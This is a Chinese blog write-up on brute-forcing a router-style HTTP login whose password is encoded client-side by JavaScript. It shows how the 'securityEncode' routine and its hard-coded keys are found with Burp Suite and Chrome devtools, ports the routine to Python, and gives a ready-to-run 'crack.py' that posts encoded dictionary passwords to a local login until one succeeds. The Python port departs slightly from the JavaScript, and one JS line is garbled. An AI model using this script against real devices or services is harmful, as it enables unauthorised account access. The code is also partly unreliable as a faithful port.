记一次js加密后的http暴破

on under web
3 minute read

0x00 About

目的:爆破某个http登录页面

0x01 Detail

1.在登录页面填入123455提交后用burpsuite拦截,发现post数据如下:
    {"method":"do","login":{"password":"0KcgeXhc9TefbwK"}}
  说明浏览器加密表单中的密码字段后再提交,这样就不能直接用burpsuite等工具加载字典爆破了

2.尝试找到加密的js
    a)用chrome打开http://192.168.1.1登录页面,发现右键被禁用
    b)打开开发者工具,按如下图1-5的顺序点击

    c)在上一步最后的点击后看到的如下黄色高亮的那一行上单击左键(第2行)表示在这一行上下断点,下好断点后第2行会有蓝
      色箭头出现表示已经下好断点在这行

    d)先将所有的4行(断点在第2行)js整理下格式,在线整理js格式:
        http://www.css88.com/tool/js_beautify/

        整理后的js内容如下:
        ---------------js----------------
        function init() {
            function f() {
                setStyle(id("lgPwdNote"), {
                    visibility: "visible"
                });
                disInputTip($("#lgPwd ~ i.tip")[0], "error")
            }

            function g(a) {
                var d = "16px",
                    c = id("loginError");
                switch (a) {
                case ESYSLOCKEDFOREVER:
                    window.top.location.reload();
                    break;
                case ESYSLOCKED:
                    window.top.location.reload();
                    break;
                case EUNAUTH:
                    a = $.authRltObj.time;
                    a = void 0 == a ? e.cnt : a;
                    if (e.cnt == a) break;
                    a <= e.minTipCnt ? c.innerHTML = label.loginErrorTipH + a + label.loginErrorTipT : (c.innerHTML = label.loginPwdErr, d = "35px");
                    f();
                    break;
                case k:
                    c.innerHTML = label.loginPwdErr;
                    f();
                    break;
                case ESYSCLIENTFULL:
                    b.disabled = !0, id("loginSub").disabled = !0, showCover(function (a) {
                        var c;
                        a.innerHTML = "<p>" + label.loginFull + "</p>";
                        a = $("#Cover p");
                        c = (document.documentElement.clientHeight - a[0].offsetHeight) / 2;
                        a.css("marginTop", c - 0.3 * c)
                    })
                }
                c.style.lineHeight = d;
                0 < b.value.length && setInputCursor(b)
            }

            function l() {
                var a = id("loginFeg");
                a.style.visibility = "visible" == a.style.visibility ? "hidden" : "visible"
            }

            function h() {
                var a = id("lgPwd");
                $.auth($.orgAuthPwd(a.value), function (b) {
                    b == ENONE ? (a.value = "", $.aundLg = !0, unloadLogin()) : g(parseInt(thRltObj.bHa$.authRltObj.code))
                })
            }
            var k = "PSWIlegal",
                b = id("lgPwd"),
                e = {
                    max: 1800,
                    cnt: 20,
                    minTipCnt: 3,
                    timeout: 1E3
                };
            (function () {
                var a = id("loginSub"),
                    d = id("pwdTipStr");
                $("span.loginHelp")[0].onclick = l;
                g(parseInt($.authRltObj.code));
                a.onclick = h;
                b.value = "";
                b.onkeyup = function (a) {
                    a = a || window.event;
                    if (13 == a.keyCode) return h()
                };
                b.onclick = function () {
                    d.style.display = "none"
                };
                b.onblur = function () {
                    0 == this.value.length && (d.style.display = "inline")
                };
                b.onkeydown = function (a) {
                    setStyle(id("lgPwdNote"), {
                        visibility: "hidden"
                    });
                    disInputTip($("#lgPwd ~ i.tip")[0], "null")
                }
            })()
        }
        init();
        --------------end----------------
    e)输入密码为123456后点击如下图中的暂停js执行按钮后再点击确定按钮

    f)上一步中的确定按钮点击完成后点击下图中的step into next function按钮,点了2下就点不动了,变成了灰色

    g)继续点暂停js执行按钮后再点确定,然后一直点step into next function按钮,点了10几下突然出现local变量
    a:"123456",这个正是在密码输入框输入的密码,这时js执行到function(a){return $.securityEncode(...)}这里,如下图:

    h)这时再点step out of current function按钮再点step into next function突然出现a为加密后的变量,如下图

    i)说明关键的加密函数就是securityEncode,对应的局部代码为:
    ---------------------js----------------------
    securityEncode: function (a, b, c) {
                var e = "",
                    f, g, h, k, l = 187,
                    n = 187;
                g = a.length;
                h = b.length;
                k = c.length;
                f = g > h ? g : h;
                for (var p = 0; p < f; p++) n = l = 187, p >= g ? n = b.charCodeAt(p) : p >= h ? l = a.charCodeAt(p) : (l = a.charCodeAt(p), n = b.charCodeAt(p)), e += c.charAt((l ^ n) % k);
                return e
            }, orgAuthPwd: function (a) {
                return $.securityEncode("RDpbLfCPsJZ7fiv",
                    a, "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW")
            }
    ---------------------js----------------------

    人工转成python代码如下:
    -----------------python----------------
    def securityEncode(a,b,c):
        e=""
        f=g=h=k=l=187
        n=187
        g=len(a)
        h=len(b)
        k=len(c)
        if g>h:
            f=g
        else:
            f=h
        for p in range(0,f):
            n=l=187
            if p>=g:
                n=ord(b[p])
            else:
                if p>=h:
                    l=ord(a[p])
                else:
                    l=ord(a[p])
                    n=ord(b[p])
                e+=c[(l ^ n) % k]
        return e
    -----------------python----------------

    最后写出爆破脚本如下:

    ----------------crack.py----------------
    import re
    import time
    import sys
    from exp10it import post_requests
    def securityEncode(a,b,c):
        e=""
        f=g=h=k=l=187
        n=187
        g=len(a)
        h=len(b)
        k=len(c)
        if g>h:
            f=g
        else:
            f=h
        for p in range(0,f):
            n=l=187
            if p>=g:
                n=ord(b[p])
            else:
                if p>=h:
                    l=ord(a[p])
                else:
                    l=ord(a[p])
                    n=ord(b[p])
                e+=c[(l ^ n) % k]
        return e
    def myEncode(a):
        result=securityEncode("RDpbLfCPsJZ7fiv",a, "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW")
        return result
    dict="/var/root/mypypi/dicts/pass.txt"
    with open(dict,"r+") as f:
        i=0
        for each in f:
            time.sleep(0.5)
            i+=1
            mypass=re.sub(r"\s$","",each)
            mypass=myEncode(mypass)
            data={"method":"do","login":{"password":"%s" % mypass}}
            #print(data)
            resp=post_requests("http://192.168.0.1",data,{}).text
            #print(dir(resp))
            #print(resp.text)
            sys.stdout.write("you tried:%d\r" % i)
            sys.stdout.flush()
            if re.search(r"error_code",resp):
                continue
            else:
                print("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Congratulations!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
                print(each)
                break
    ----------------crack.py----------------

0x02 Attention

a)这里有2个js转python的关键地方:
1.js中的charCodeAt转成python为ord函数,eg:
    b.charCodeAt(p)转成python为ord(b[p])
2.js中的charAt转成python为数组取下标,eg:
    c.charAt((l ^ n) % k)转成c[(l ^ n) % k]

b)也可直接由python执行js,可参考:google.
js, crack
home
github
archive
category